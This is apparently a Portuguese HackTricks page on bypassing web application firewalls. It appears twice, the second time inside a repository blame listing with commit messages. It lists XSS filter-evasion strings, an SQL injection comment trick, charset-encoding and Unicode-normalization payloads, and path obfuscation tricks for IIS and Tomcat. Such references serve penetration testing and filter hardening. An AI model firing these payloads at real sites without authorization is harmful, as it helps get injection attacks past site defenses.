hacktricks/network-services-pentesting/pentesting-web/waf-bypass.md

# WAF Bypass

<details>

<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.

</details>

## Regex Bypasses

Diferentes técnicas podem ser usadas para burlar os filtros de regex nos firewalls. Exemplos incluem alternar maiúsculas e minúsculas, adicionar quebras de linha e codificar payloads. Recursos para os diversos bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
```bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
```
## Codificação de Conjunto de Caracteres
```bash
# Charset encoding
application/x-www-form-urlencoded;charset=ibm037
multipart/form-data; charset=ibm037,boundary=blah
multipart/form-data; boundary=blah; charset=ibm037

##Python code
import urllib
s = 'payload'
print(urllib.parse.quote_plus(s.encode("IBM037")))

## Request example
GET / HTTP/1.1
Host: buggy
Content-Type: application/x-www-form-urlencoded; charset=ibm500
Content-Length: 61

%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
```
## Ofuscação
```bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
```
## Compatibilidade Unicode

Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de burlar o WAF e executar como o payload pretendido. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode)

### Exemplo
```bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
```
## Excedendo Limites de Tamanho

É comum em WAFs baseados em nuvem que, se o payload for maior que o tamanho X, a solicitação não será verificada pelo WAF. Você pode simplesmente usar isso para contorná-los.

### Rotação de IP

* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)

<details>

<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Outras formas de apoiar o HackTricks:

* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								# WAF Bypass
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								<details>
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								Outras formas de apoiar o HackTricks:
 								* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 								* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								* **Junte-se ao grupo do** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
 								* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								</details>
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								## Regex Bypasses
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								Diferentes técnicas podem ser usadas para burlar os filtros de regex nos firewalls. Exemplos incluem alternar maiúsculas e minúsculas, adicionar quebras de linha e codificar payloads. Recursos para os diversos bypasses podem ser encontrados em [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) e [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). Os exemplos abaixo foram retirados [deste artigo](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								```bash
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
 								<<script>alert(XSS)</script> #prepending an additional "<"
 								<script>alert(XSS) // #removing the closing tag
 								<script>alert`XSS`</script> #using backticks instead of parenetheses
 								java%0ascript:alert(1) #using encoded newline characters
 								<iframe src=http://malicous.com < #double open angle brackets
 								<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
 								<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
 								<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
 								Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
 								javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
 								<iframe src="javascript:alert(`xss`)"> #unicode encoding
 								/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
 								new Function`alt\`6\``; #using backticks instead of parentheses
 								data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
 								%26%2397;lert(1) #using HTML encoding
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
 								```
-												Translated to Portuguese

											
										
										
											2023-06-06 18:56:34 +00:00
+								## Codificação de Conjunto de Caracteres
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
+								# Charset encoding
 								application/x-www-form-urlencoded;charset=ibm037
 								multipart/form-data; charset=ibm037,boundary=blah
 								multipart/form-data; boundary=blah; charset=ibm037
 								##Python code
 								import urllib
 								s = 'payload'
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								print(urllib.parse.quote_plus(s.encode("IBM037")))
-												GitBook: [#3275] No subject

											
										
										
											2022-06-22 22:03:55 +00:00
 								## Request example
 								GET / HTTP/1.1
 								Host: buggy
 								Content-Type: application/x-www-form-urlencoded; charset=ibm500
 								Content-Length: 61
 								%86%89%93%85%95%81%94%85=KKaKKa%C6%D3%C1%C7K%A3%A7%A3&x=L%A7n
 								```
-												Translated to Portuguese

											
										
										
											2023-06-06 18:56:34 +00:00
+								## Ofuscação
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
 								# IIS, ASP Clasic
 								<%s%cr%u0131pt> == <script>
 								# Path blacklist bypass - Tomcat
 								/path1/path2/ == ;/path1;foo/path2;bar/;
 								```
-												Translated to Portuguese

											
										
										
											2023-06-06 18:56:34 +00:00
+								## Compatibilidade Unicode
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
 								Dependendo da implementação da normalização Unicode (mais informações [aqui](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), caracteres que compartilham compatibilidade Unicode podem ser capazes de burlar o WAF e executar como o payload pretendido. Caracteres compatíveis podem ser encontrados [aqui](https://www.compart.com/en/unicode)
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated to Portuguese

											
										
										
											2023-06-06 18:56:34 +00:00
+								### Exemplo
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
+								```bash
 								# under the NFKD normalization algorithm, the characters on the left translate
 								# to the XSS payload on the right
 								＜img src⁼p onerror⁼＇prompt⁽1⁾＇﹥  --> ＜img src=p onerror='prompt(1)'>
 								```
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								## Excedendo Limites de Tamanho
 								É comum em WAFs baseados em nuvem que, se o payload for maior que o tamanho X, a solicitação não será verificada pelo WAF. Você pode simplesmente usar isso para contorná-los.
-												Clean up and add additional WAF bypass techniques to waf-bypass.md
											
										
										
											2023-06-01 03:00:55 +00:00
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
+								### Rotação de IP
 								* [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin)
 								<details>
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								<summary><strong>Aprenda hacking em AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
 								Outras formas de apoiar o HackTricks:
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
-												Translated ['network-services-pentesting/pentesting-web/README.md', 'net

											
										
										
											2023-12-31 02:51:55 +00:00
+								* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 								* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 								* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
 								* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
 								* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-												Translated ['mobile-pentesting/android-app-pentesting/reversing-native-l

											
										
										
											2023-12-24 18:22:20 +00:00
 								</details>